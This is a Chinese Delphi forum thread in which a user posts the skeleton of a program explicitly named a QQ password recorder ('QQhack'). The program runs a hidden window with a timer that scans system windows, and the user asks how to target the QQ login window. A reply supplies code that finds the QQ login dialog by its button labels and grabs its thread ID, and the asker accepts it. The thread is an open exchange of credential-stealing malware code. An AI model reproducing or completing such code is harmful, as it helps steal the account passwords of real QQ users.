关于查找窗口的问题~(200分)

  • 主题发起人 主题发起人 赵鑫
  • 开始时间 开始时间

赵鑫

Unregistered / Unconfirmed
GUEST, unregistred user!
下边的代码我想把它改成直接查找QQ的登陆的窗口,希望能给我详细的代码~谢谢<br><br>program QQhack;<br><br>uses<br> &nbsp;Windows,<br> &nbsp;Messages,<br> &nbsp;mainunit in 'C:/Program Files/Borland/Delphi7/Projects/mainunit.pas';<br><br>{$R *.RES}<br><br>var <br>wClass: &nbsp; TWndClass; &nbsp;// class struct for main window <br>Msg: &nbsp; &nbsp; &nbsp;TMSG; &nbsp; &nbsp; &nbsp; // message struct <br><br>procedure ShutDown; <br>begin<br>UnRegisterClass(classname,hInst);<br>ExitProcess(hInst); &nbsp; //end program<br>end; <br><br>function WindowProc(hWnd,Msg,wParam,lParam:Longint):Longint; stdcall; <br>begin <br>Result:=DefWindowProc(hWnd,Msg,wParam,lParam); <br>case Msg of <br>WM_CREATE: wincreate; <br>WM_TIMER: ontimer1; <br>WM_DESTROY: ShutDown; <br>end;<br>end;<br><br>begin <br>//如果旧版本已运行,则停止旧版程序,只运行当前新版程序 <br>hmain:=Findwindow('HackSoft-Qq-Password-Recoder','OQ密码记录器3');<br>if hmain&lt;&gt;0 then sendmessage(lp,wm_destroy,0,0); <br><br><br>hInst:=GetModuleHandle(nil); // get the application instance<br>classname:='HackSoft-Qq-Password-Recoder';<br>with wClass do<br>begin<br> &nbsp; Style:= &nbsp; &nbsp; &nbsp; &nbsp; CS_PARENTDC;<br> &nbsp; hIcon:= &nbsp; &nbsp; &nbsp; &nbsp; LoadIcon(hInst,'MAINICON');<br> &nbsp; lpfnWndProc:= &nbsp; @WindowProc;<br> &nbsp; hInstance:= &nbsp; &nbsp; hInst;<br> &nbsp; hbrBackground:= COLOR_BTNFACE+1;<br> &nbsp; lpszClassName:= classname;<br> &nbsp; hCursor:= &nbsp; &nbsp; &nbsp; LoadCursor(0,IDC_ARROW);<br>end;<br>RegisterClass(wClass);<br>hmain:=CreateWindowEx(WS_EX_TOOLWINDOW,classname,'QQ密码记录器3',WS_OVERLAPPEDWINDOW,10,10,120,80,0,0,hInst,nil);<br>//建立一个新的定时器,用来定时扫描系统中的窗口 <br>newtime:=SetTimer(hmain,0,300,nil);<br>//建立消息循环<br>while(GetMessage(Msg,hmain,0,0))do<br>begin<br> &nbsp; TranslateMessage(Msg);<br> &nbsp; DispatchMessage(Msg);<br>end;<br>//结束定时器<br>killtimer(hmain,newtime);<br>end.
 
procedure TForm1.Button2Click(Sender: TObject);<br>begin<br>EnumWindows(@EnumWindowsProc,0);<br>end;<br><br>function EnumWindowsProc(Wnd: HWND; Param: Integer): Boolean; stdcall;<br>var<br> cn : Array[0..255] of char;<br> tab : HWND;<br>begin<br> &nbsp;Result := TRUE;<br> &nbsp;if GetClassName(wnd, cn, 256) &gt; 0 then<br> &nbsp; if cn = '#32770' then<br> &nbsp; &nbsp;begin<br> &nbsp; &nbsp; //判断是不是QQ登录窗口,下面的条件可以自己补充修改<br> &nbsp; &nbsp; if (FindWindowEx(wnd, 0, 'Button','申请密码保护') &lt;&gt; 0) and<br> &nbsp; &nbsp; &nbsp; &nbsp;(FindWindowEx(wnd, 0, 'Button','清除记录') &lt;&gt; 0) and<br> &nbsp; &nbsp; &nbsp; &nbsp;(FindWindowEx(wnd, 0, 'Button','取回密码') &lt;&gt; 0) then<br> &nbsp; &nbsp; begin<br> &nbsp; &nbsp; &nbsp;tID := GetWindowThreadProcessID(wnd, nil);<br> &nbsp; &nbsp; &nbsp; Find:=true;<br> &nbsp; &nbsp; &nbsp;Exit;<br> &nbsp; &nbsp; end;<br> &nbsp; end;<br>end;
 
接受答案了.
 

Similar threads

后退
顶部